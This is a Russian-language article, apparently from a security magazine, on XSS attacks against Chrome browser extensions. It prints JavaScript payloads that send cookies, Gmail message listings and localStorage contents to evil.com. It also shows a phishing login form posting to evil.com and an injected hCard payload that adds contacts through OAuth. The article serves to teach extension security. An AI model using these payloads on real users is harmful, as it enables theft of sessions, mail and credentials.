Куки

Сессионные данные - популярная цель для XSS-атаки. Но расширение работает в своего рода песочницы и напрямую доступ к кукам через объект document.cookie получить уже не получится - нам надо использовать API. Для работы с куками расширению, и нам тоже, необходимы специальные привилегии и явным образом прописанные домены в манифесте, например вот так:

{
    "name": "My extension",
    ...
    "permissions": [
    "cookies",
    "*://*.google.com"
    ],
...
}

Очевидно, что риск увеличивается, когда у расширения слишком много прав - то есть как минимум права на работу с куками и большое количество доменов соответствующей секции манифеста. В таком случае XSS становится гораздо более опасной штукой потому что злоумышленник сможет получить доступ к кукам этих всех разрешённых доменов. Следующий код демонстрирует как можно собрать все доступные куки и отправить их на снифер:

chrome.cookies.getAll({}, function(cookies) {
    var dump = 'COOKIES: ';
    for (var i in cookies) {
        dump += cookies[i].domain + ':' + cookies[i].name  + ':' + cookies[i].value + ' | ';
    }
    img = new Image();
    img.src = 'http://evil.com/stallowned.jpg?' + dump;
    document.body.appendChild(img);
});

Данные веб-браузера как цель для атаки

В предыдущей части мы рассмотрели какой риск может нести в себе уязвимость в расширении, приводящая к XSS. При определённых условиях (наличию большого количества привилегий и доменов в файле манифеста) злоумышленник может получить куки с разных сайтов - и это сильное преимущество перед XSS в обычном веб-приложении. Так же он сможет заполучить такие интересные данные как:

• история твоей работы с веб-браузером
• твои закладки
• и другое, на что может быть дано разрешение и существовать соответствующее API

Таким образом XSS может привести к компрометации данных пользователя на его компе, а не просто кражи кук, в зависимости от типа расширения и его привилегий.

Обходим настройки Gmail по показу внешнего содержимого

Конечно же это не так критично, но если злоумышленник может внедрить произвольный HTML/JavaScript в конкретное письмо, он может и добавить IMG тег и по факту запроса картинки с сервера определить факт прочтения письма. Это всё возможно вне зависимости от настроек показ внешнего содержимого в Гмейле!

Угон почтовой переписки

Это будет уже посерьёзнее! Представьте, что вы получаете вот такую JavaScript-нагрузку

var dump = '';
var e = document.getElementsByTagName('a');
i=0;
while(i < e.length) {
    if (e[i].className == 'openLink') {
        dump += e[i].innerText + ' | ';
    }
    i++;
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Это ни что иное как дампилка писем в рамках всплывающего окна расширения. Тут всё просто - мы просто перебираем все элементы из списка писем, в которых показывается информация о письме (отправитель, дата, тема и кусок сообщения), и отправляем её на сервер злоумышленника.

Настройки расширения - там тоже может быть интересные данные!

Расширения вполне могут сохранять критичную информацию в своих настройках, доступ к которым осуществляется с помощью механизма веб-хранилищ HTML5. Конечно такие расширения надо поискать, но они существуют. Например, в настройках такого "плохого" расширения может быть сохранена аутентификационная информация и следующим скриптом, мы достанем её оттуда:

var dump = ' LOCALSTORAGE: ';
for (i = 0; i < localStorage.length; i++ ) {
    dump += "KEY: " + localStorage.key(i);
    dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | ";
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Фишинг

Как было сказано выше, расширение не может напрямую обращаться к кукам и необходимо использовать соответствующее API. Таким образом заполучение кук в рамках XSS-атаки становится нетривиальным решением, но ведь обычный фишинг никто не отменял! Злоумышленник может сделать простую псевдоформу логина и показать её жертве через нагрузку:

var msg = 'Please, enter account information.';
msg += '<form action="http://evil.com/login">Username: <input type=text name=user>';
msg += ' <br>Password: <input type=password name=pass><br><input type=submit></form>';
document.body.innerHTML = msg;

Этот скриншот выглядит не слишком красиво, но это всего лишь концепт.

Фишинг

Риски, связанные с использованием JSON

JSON - это легковесный формат для обмена данными, широко используемых в веб2.0-ых веб-приложениях (ты должен был о нём слыать) для обмена данными между клиентской и серверной частями. Например, в файле манифеста используется в качестве формата данных именно JSON:

{
  "name": "Extension",
  "version": "1.0",
  "description": "Some extension",
  "icons": { "128": "icon.png" },
  "permissions": ["http://example.com/"],
  "browser_action": {
    "default_title": "",
    "default_icon": "pic.png",
    "default_popup": "view.html"
  }
}

Существует как минимум 2 больших риска, связанные с небезопасным использованием JSON:

1. Использование функции JavaScript eval() для разбора недоверенных данных (например, пользовательские данные). Разработчики Google специально выделили данный риск и написали рекомендации по безопасному разбору JSON с помощью встроенного метода JSON.parse
2. Менее очевидный, но не менее опасный риск похищения JSON-данных JavaScript hijacking.

Не стоит забывать и про JSON(P), который используется для обмена данным между доменами. В контексте расширений Хрома данная потенциальная уязвимость мало чем отличается от такой же для обычного веб-приложения. Так же можно с помощью любого промежуточного прокси, например тот, что входит мощный фреймворк для аудита веб-приложений w3af, и посмотреть каким образом идёт обмен данными между расширением и серверной частью веб-сервиса. Там вполне могут быть проблемы с безопасностью.

Внедряемые скрипты

Например, необходимо изменять цвета страницы, которую ты посещяешь или размер шрифта. Другой хороший пример - обрамлять все URL-адреса на странице в HTML-тег A и тем самым делать ссылками. Для всего этого и предназначены внедряемые скрипты (content scripts). Внедряемый скрипт - это по сути специальный кусок JavaScript, который внедряется в необходимые страницы и, что важно, выполняется в их контексте, а не в контексте расширения. Таким образом внедряемые скрипты могут свободно читать и изменять содержимое текущей страницы, при этом они сильно ограничены в использовании API расширений, а именно не могут:

• использовать chrome.* APIs (кроме частей chrome.extension);
• использовать переменные и функции, заданные в родительском расширении;
• использовать переменные и функции, заданные в непосредственно странице либо в других внедряемых скриптах;
• делать кросс-доменные запросы XMLHttpRequests.

В тоже время внедряемые скрипты могут обращаться с родительским расширением с помощью технологии сообщений. в общем виде мы имеем 2 риска, связанных с внедряемыми скриптами:

1. в силу возможности изменять содержимое посещаемой страницы, плохо написанные скрипты могут добавить уязвимость на страницу, на которой изначально этой уязвимости не было!
2. зловредная страница сама может атаковать через внедряемые скрипты расширение веб-браузера

Давайте разберём пример второго случая и рассмотрим поближе расширение для работы с микроформатами. Ниже представлен фрагмент HTML-кода с популярным микроформатом hCard. Но в нашем случае мы запихали в URL то, что скорее всего расширение не планирует там увидеть:

<div class="vcard">
   <div class="fn">James Bond</div>
   <div class="org">MI-6</div>
   <div class="tel">604-555-1234</div>
   <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>';document.body.appendChild(d);</script>233">http://example.com/</a>
 </div>

Если у нас установлено это расширение и мы посетим страницу с таким кодом, то расширение попробует его оттуда выдернуть , распарсить и показать нам эти данные о человеке.

Атака на расширение Microformats extension

Наша нагрузка отработала и видно результат? Но какие риски оно несёт?! А вот какие :) Рассматриваемое нами расширение умеет связываться с твоим гугловским аккаунтом по средствам протокола OAuth и API сервиса адресной книги Гугла. То есть оно имеет доступ, с твоего разрешения конечно, к твоей аресной книге и может добавлять туда записи по клику на соответствующей кнопке в всплывающем окне.

Вот такой простой код. использующий фишки JQuery:

$(".submithcard").click()

добавит произвольный контакт в твою адресную книгу на Гмейле! Таким образом удалось обойти сильные ограничения на использование API внедряемыми скриптами и нагрузка пробросилась в основное окно расширения, в котором у нас уже больше возможностей! :)